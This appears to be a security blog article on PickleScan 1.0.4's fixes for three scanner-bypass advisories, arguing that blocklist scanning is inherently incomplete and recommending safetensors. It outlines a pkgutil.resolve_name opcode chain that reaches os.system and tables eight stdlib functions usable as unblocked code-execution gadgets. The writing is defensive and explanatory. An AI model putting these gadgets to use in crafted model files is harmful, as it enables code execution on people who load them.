Table of Contents

On March 2, 2026, PickleScan released v1.0.4, patching three critical advisories: GHSA-vvpj-8cmc-gx391 (CVSS 10.0), GHSA-g38g-8gr9-h9xp2 (CVSS 9.8), and GHSA-7wx9-6375-f5wh3 covering profile.run. All three let a crafted pickle return a clean scan result while achieving arbitrary code execution at load time. The fixes are additive blocklist entries. The architectural problem they expose is not.

What PickleScan 1.0.4 Patched

PickleScan works by scanning pickle opcodes for GLOBAL, INST, and STACK_GLOBAL references and comparing them against a blocklist of known-dangerous callables. Before 1.0.4, that blocklist covered roughly 60 entries2. The v1.0.4 release notes4 describe three categories of fixes: pkgutil.resolve_name was added to the blocklist, profile and cProfile entries were collapsed to wildcard matching, and six stdlib modules were listed for the first time.

The third advisory, GHSA-7wx9-6375-f5wh3, illustrates the exact-string-match problem directly: only specific method names under profile and cProfile were blocked, so profile.run slipped through. The fix was to replace the explicit entries with a wildcard. Every similar exact-match entry in the blocklist carries the same exposure.

How pkgutil.resolve_name Defeats the Blocklist

GHSA-vvpj-8cmc-gx391 is the more structurally interesting problem. The exploit uses a two-stage opcode chain:

  1. A STACK_GLOBAL instruction pushes pkgutil.resolve_name onto the stack, a legitimate stdlib function not in the blocklist.
  2. A first REDUCE call executes resolve_name("os:system"), which dynamically resolves and returns the os.system callable.
  3. A second REDUCE call invokes that callable with attacker-controlled arguments.

PickleScan reports zero issues. The advisory’s diagnosis is precise: the string 'os:system' is just data (a SHORT_BINUNICODE argument to the first REDUCE). PickleScan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

That closes this specific path. pkgutil.resolve_name accepts any string in module:attribute notation and resolves it at runtime. The advisory confirmed eleven or more dangerous callables reachable this way, including os.system, builtins.exec, builtins.eval, and several subprocess variants. Any other callable that takes a name and resolves it to a function object is a structural substitute for the same attack.

The Missing Stdlib: An Enumeration Problem

GHSA-g38g-8gr9-h9xp2 is a different failure mode: manual curation gaps. Eight stdlib functions across six modules could achieve RCE via standard pickle GLOBAL references, none of them in the blocklist:

ModuleFunctionExecution method
uuid_get_command_stdoutsubprocess.Popen()
_osx_support_read_outputos.system()
_osx_support_find_build_toolCommand injection
_aix_support_read_cmd_outputos.system()
_pyrepl.pagerpipe_pagersubprocess.Popen(shell=True)
_pyrepl.pagertempfile_pageros.system()
imaplibIMAP4_streamsubprocess.Popen(shell=True)
test.support.script_helperassert_python_oksubprocess

None of these are novel attack vectors. They are ordinary stdlib functions that happen to shell out. A blocklist at ~60 entries that still misses these eight is not a measurement error. It is a sampling problem. The standard library is large. The set of callables that ultimately invoke subprocess, os.system, or exec is not small, not static across Python versions, and cannot be fully enumerated by any team maintaining a list on a best-effort basis.

Hugging Face’s Own Disclaimer

Hugging Face runs PickleScan as part of its Hub security scanner. The Hub’s security-pickle documentation5 states directly:

“this is not 100% foolproof. It is your responsibility as a user to check if something is safe or not. We are not actively auditing python packages for safety, the safe/unsafe imports lists we have are maintained in a best-effort manner.”

That disclaimer predates the March 2 advisories. It is also the accurate characterization of how blocklist scanning actually works. The advisories did not reveal an unexpected weakness; they provided working exploits for the weakness Hugging Face had already documented. Teams that treated the Hub’s green scan indicator as a meaningful security signal were always one undiscovered callable away from this outcome.

Safetensors Gets Institutional Backing

On April 8, 2026, Hugging Face announced that safetensors is joining the PyTorch Foundation6 under the Linux Foundation, moving to vendor-neutral governance. Safetensors is already the default format for model distribution on Hugging Face Hub.

The format eliminates the problem at the source: a safetensors file contains only raw tensor data and metadata in a structured binary layout. No opcodes, no callables, no evaluation at load time. The Hugging Face blog post6 notes that the pickle-based formats that dominated the ecosystem meant “there was a very real risk you’d be running malicious code.” The PyTorch Foundation project listing7 describes it as a format that “prevents arbitrary code execution during deserialization by only allowing numerical tensor data.”

The governance move matters because the persistent objection to safetensors was vendor control: it was a Hugging Face format, maintained by Hugging Face. Linux Foundation stewardship removes that objection for organizations whose security review or procurement policy requires vendor-neutral governance before trusting a binary format.

What to Do Now

Update PickleScan to 1.0.4. Earlier versions have confirmed working RCE bypasses with public proof-of-concept opcode chains.

Re-evaluate models previously cleared by PickleScan ≤ 1.0.3. Scan results from prior versions are not trustworthy, particularly for models integrated into production inference or training pipelines.

Convert weights to safetensors. For models you control, this is the migration path, not a future option. For third-party models, prefer those distributed in safetensors format. The Hub makes format filtering straightforward.

Do not treat any version of PickleScan as a sufficient gate on its own. The 1.0.4 patches closed three known gaps. The architecture provides no guarantee there are not others. A scanner that works from a static blocklist is in a permanent race with the Python stdlib changelog, and the changelog does not stand still.

Frequently Asked Questions

Does this affect torch.load or only the PickleScan scanner?

torch.save and torch.load use Python’s pickle protocol internally, so .pt and .pth files are subject to the same opcode-level attacks. PickleScan is a pre-loading scanner and does not intercept torch.load at runtime. PyTorch’s weights_only=True argument (default since PyTorch 2.6) restricts unpickling to tensor types only, providing a runtime-level mitigation that static scanning cannot offer.

Why not replace the denylist with an allowlist of safe callables?

An allowlist would need to enumerate every callable that legitimate model checkpoints use across PyTorch, TensorFlow, JAX, and domain-specific libraries — a set that varies by framework version and model architecture and is orders of magnitude larger than today’s ~60-entry denylist. Hugging Face’s own security documentation recommends a different path entirely: loading from trusted sources, signed commits, or non-pickle formats, rather than relying on any list-based scanner.

Do new Python releases automatically create new PickleScan blind spots?

Yes. The _pyrepl module, for example, was introduced in Python 3.13, and two of its pager functions were among the eight missing stdlib entries patched in 1.0.4. Each Python minor release adds or modifies internal modules, and any function that ultimately shells out becomes a viable RCE vector that the denylist has not yet catalogued.

What’s lost when converting a pickle checkpoint to safetensors?

For weights-only models, safetensors.torch.save_file() converts cleanly. But many checkpoint formats embed custom Python objects — optimizer state, learning-rate schedulers, training-step counters, custom class instances — that safetensors’ tensor-only format cannot represent. Those must be stripped or serialized separately, so training-resumption workflows that depend on non-tensor checkpoint state need restructuring before migration.

Footnotes

  1. GHSA-vvpj-8cmc-gx39 2

  2. GHSA-g38g-8gr9-h9xp 2 3

  3. GHSA-7wx9-6375-f5wh 2

  4. PickleScan v1.0.4 release notes

  5. Hugging Face Hub security-pickle documentation

  6. Safetensors joins PyTorch Foundation 2

  7. PyTorch Foundation Safetensors project

Sources

  1. GHSA-vvpj-8cmc-gx39primaryaccessed 2026-04-29
  2. GHSA-g38g-8gr9-h9xpprimaryaccessed 2026-04-29
  3. GHSA-7wx9-6375-f5whprimaryaccessed 2026-04-29
  4. PickleScan v1.0.4 release notesvendoraccessed 2026-04-29
  5. Hugging Face Hub security-pickle documentationvendoraccessed 2026-04-29
  6. Safetensors joins PyTorch Foundationvendoraccessed 2026-04-29
  7. PyTorch Foundation Safetensors projectvendoraccessed 2026-04-29

Enjoyed this article?

Stay updated with our latest insights on AI and technology.